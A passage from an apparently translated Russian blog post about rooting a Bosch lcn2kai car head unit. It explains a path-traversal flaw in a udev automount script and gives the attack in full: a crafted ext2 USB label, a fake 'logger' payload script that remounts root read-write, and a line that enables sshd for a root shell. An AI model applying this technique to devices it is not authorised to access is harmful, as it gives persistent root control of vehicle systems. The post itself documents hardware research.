В начале опции automount скрипт пытается определить точку монтирования. Переменная MOUNTPT указывает на "/dev/media", сама точка монтирования накопителя — это $MOUNTPT/$mountdir; существует три варианта определения $mountdir. Во-первых, в качестве точки монтирования используется FS UUID, если он существует. Если нет, используется FS Label, если она существует. И наконец, если не существует ни FS UUID, ни FS Label, просто используется mountdir disk. В последней строке выполняется команда mount. Эта последняя строка — хорошее место для изучения возможности уязвимостей инъецирования команд, но оказывается, что все данные, которые можно контролировать, заключены в кавычки. Однако не всё потеряно!

Можем ли мы как-то заставить выполнить обход папок в точке монтирования? Окончательная точка монтирования — это $MOUNTPT/$mountdir, если $mountdir каким-то образом будет содержать ../, это способно привести к обходу папок, что потенциально можно использовать нам на пользу. Вернёмся к определению $mountdir: хотя мы можем управлять UUID, по сути, это HEX-строка во всех файловых системах, так что она не может привести к обходу папок, но ID_FS_LABEL может содержать произвольные данные! Так что для использования этой проблемы мы можем создать флеш-накопитель с файловой системой, не имеющей UUID и имеющей FS Label вида "../../some/other/path". После её разворачивания $MOUNTPT/$mountdir превратится в /dev/media/../../some/other/path или в /some/other/path. Если это действительно сработает, мы сможем смонтировать содержимое флеш-накопителя в любое место корневой файловой системы. Это похоже на простой путь к успеху.

План состоит из пары этапов. Во-первых, нужно создать флешку с файловой системой ext2, потому что мы уверены в поддержке ext2 и всё, что мы в неё поместим, будет хранить бит +x, если не указаны дополнительные опции mount. Затем нужно убрать UUID, обнулив UUID в заголовке ext2. Далее нужно установить FS label, чтобы использовать обход папок и смонтировать файловую систему так чтобы это привело к исполнению кода. Изучив скрипт mount.sh, мы найдём следующее:

result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
    status=$?
    if [ ${status} -ne 0 ]; then
	logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
	rm_dir "$MOUNTPT/$mountdir"
    else
	logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
	mkdir -p ${MOUNTDB}
	echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
    fi

То есть сразу после монтирования (успешного или безуспешного) файловой системы выполняется команда logger для записи сообщения в лог. Команда logger находится в /usr/bin:

# which logger
/usr/bin/logger

Если мы выберем её в качестве цели, то наша FS label должна иметь вид ../../usr/bin/. Подготовленная флешка должна содержать единственный файл logger с установленным +x. Этот файл будет простым шелл-скриптом, который включит SSH-сервер, как мы делали это вручную в предыдущем разделе. Скрипт может выглядеть примерно так:

#make a file on the usb flash so we know if execution happened
touch /usr/bin/itworked
#remount root FS as RW 
mount -o remount,rw /
#enable sshd
echo "/etc/init.d/sshd start" >> /etc/init.d/fastboot/prj_boschinit.sh
#just for good measure
sync
sync 

Создав такую флешку, мы можем залезть в машину, включить её, дождаться полной загрузки информационно-развлекательной системы, вставить USB-флешку, посчитать до пятнадцати и отключить автомобиль. Если всё пройдёт успешно, то на флешке должен появиться дополнительный файл itworked. Отключаем автомобиль и ждём минуту-две, чтобы lcn2kai полностью отключилось. Снова включаем питание, ждём минуту, подключаемся к адаптеру Ethernet и пытаемся подключиться к SSH. Если всё прошло гладко, мы увидим шелл рута. Всё очень просто.

В моём репозитории можно найти скрипт, который создаст подходящую для записи на флешку файловую систему.

Куда двигаться дальше


Получив этот неинвазивный рут, я мог углубиться в изучение системы, чтобы понять, как она работает. Другие документы в репозитории объясняют, как работают различные части головного устройства lcn2kai, как к ним можно получать доступ и взаимодействовать с ними, как можно писать собственные приложения.

Я опубликовал эту статью, чтобы и другие могли поэкспериментировать с головными устройствами своих автомобилей, что может привести к созданию новых интересных функций. Во многих моделях автомобилей установлены сотни тысяч таких устройств, и завершение срока их гарантии и поддержки не означает, что они полностью устарели.

Telegram-канал со скидками, розыгрышами призов и новостями IT 💻
Теги:
Хабы:
Всего голосов 86: ↑84 и ↓2+110
Комментарии26

Публикации

Информация

Сайт
ruvds.com
Дата регистрации
Дата основания
Численность
11–30 человек
Местоположение
Россия
Представитель
ruvds